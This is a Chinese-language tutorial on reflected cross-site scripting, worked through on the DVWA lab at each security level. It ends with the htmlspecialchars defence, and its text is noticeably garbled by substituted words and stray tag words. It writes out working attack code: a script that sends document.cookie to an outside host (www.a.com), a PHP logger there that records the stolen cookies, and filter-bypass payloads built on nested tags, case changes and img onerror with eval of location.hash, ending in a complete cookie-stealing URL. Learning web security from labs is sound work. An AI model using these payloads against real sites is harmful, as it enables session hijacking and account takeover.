XSS (Cross-site scripting) 攻击,为和 CSS 有所区分,因此叫 XSS。又是一种防不胜防的攻击,应该算是一种 “HTML注入攻击”,本来开发者想的是显示数据,然而攻击者输入倒是有破坏性的代码,并且能被解析执行。Symantec在2007年报告更是指出跨站脚本漏洞大概占全部网站漏洞的84%。javascript
XSS 大体分红三种类型(白帽子讲web安全):php
功能很简单,显示就是输入框输入的东西 好比:输入 World 就能显示 Hello World。 此时 Hacker 尝试输入 <script>alert(1)</script>
html
这是由于,php 输出已经变成了,'<pre>Hello <script>alert(1)</script></pre>'
而后输出到页面时,直接运行 <script>alert(1)</script>
这就是 XSS,本来这个地方应该是输入数据的,可是却变成运行代码了。 接下来 hacker 再做尝试,它写了这样一个文件 a.com/test.js前端
var img = document.createElement("img") img.src = "http://www.a.com/?cookies="+escape(document.cookie); document.body.appendChild(img);
而对应www.a.com/index.php
的代码是这样,目的是记录发送过来的 cookiesjava
<?php $c = $_GET["cookies"]; echo $c; error_log($c ."". "\n",3,"/var/log/a/cookies"); ?>
而后再在输出框中输入 <script src="//www.a.com/test.js"></script>
。。。
就会直接将你的 cookies 直接发送到 a.com
有了你的 cookies 就随心所欲了,改密码什么的。 如今只需诱导用户(发邮件之类的)点击这样的链接就Ok了 http://192.168.0.110:5678/vulnerabilities/xss_r/?name=%3Cscript+src%3D%22%2F%2Fwww.a.com%2Ftest.js%22%3E%3C%2Fscript%3E#web
好比:
正则表达式
中级代码意识到会有人使用 script 的注入方式,因而就想将 script 标签去掉c#
<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = str_replace( '<script>', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>
而 Hacker 输入的是 <Script src="//www.a.com/test.js"></Script>
。。。仍是被注入了。
还能够输入 <scr<script>ipt src="//www.a.com/test.js"></script>
之类安全
高级代码,使用 preg_replace
函数,不管 script 大小写如何变化也会删除前端框架
<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>
因此能够采用不使用 script 的方式。
好比利用 img 的 onerror 函数 ,意思是说,若是图片的地址是错误的,就执行
alert(1)
但若是直接在 onerror 函数中写注入的代码又颇有可能被那个正则表达式替换掉的。
因此要经过其余方式绕过这个正则替换,好比利用 location.hash
。
这是什么东西?
url 中 # 号后面的东西,好比 https://www.zhihu.com/topic#Linux 的 location.hash 就是 #Linux ,前端框架通常会用来作单页面路由。这个东西没有长度限制并且不会被传到后台的!
因此,能够这样,<img src=x onerror="eval(unescape(location.hash.substr(1)))">
而在构造 url 就能够放心把代码放在 #号后面了。
因此点击下面链接就会偷掉你的cookies了(要复制黏贴)
http://192.168.0.110:5678/vulnerabilities/xss_r/?name=%3Cimg%20src=x%20onerror=%22eval(unescape(location.hash.substr(1)))%22%3E#var%20img%20=%20document.createElement('img');img.src='http://www.a.com/?cookies='+escape(document.cookie);document.body.appendChild(img)
不可能级别添加了 anti-token 防护机制,和htmlseecialchars
函数来防护
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } // Generate Anti-CSRF token generateSessionToken(); ?>
htmlseecialchars
函数做用是什么?来探讨一下
输入上一级的注入语句
看 dom 的元素,也看不出什么
再看看请求返回的什么
看到了吗,那个函数将 < " 等符号转义了